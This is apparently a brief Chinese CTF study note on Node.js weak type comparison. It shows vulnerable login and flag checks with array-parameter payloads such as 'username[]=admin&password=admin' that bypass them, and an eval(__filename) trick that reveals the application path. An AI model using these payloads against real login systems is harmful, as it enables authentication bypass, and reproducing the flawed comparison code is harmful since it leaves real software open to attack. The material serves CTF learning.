node弱类型比较
const adminHash = sha256(sha256(salt + 'admin') + sha256(salt + 'admin'))
if(!username || !password || username === password || username.length === password.length || username === 'admin') {
res.render('login')
} else {
const hash = sha256(sha256(salt + username) + sha256(salt + password))
req.session.admin = hash === adminHash
res.redirect('/flag')
}
对策:
username[]=admin&password=admin
if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
res.end(flag);
对策
?a[]=admin&b[]=admin
或者
a[:]=1&b[:]=2
node 常用命令
__filename
表示当前正在执行的脚本的文件名。它将输出文件所在位置的绝对路径,且和命令行参数所指定的文件名不一定相同。 如果在模块中,返回的值是模块文件的路径。 __dirname
表示当前执行脚本所在的目录。
于是eval(__filename)可以看到路径为/app/routes/index.js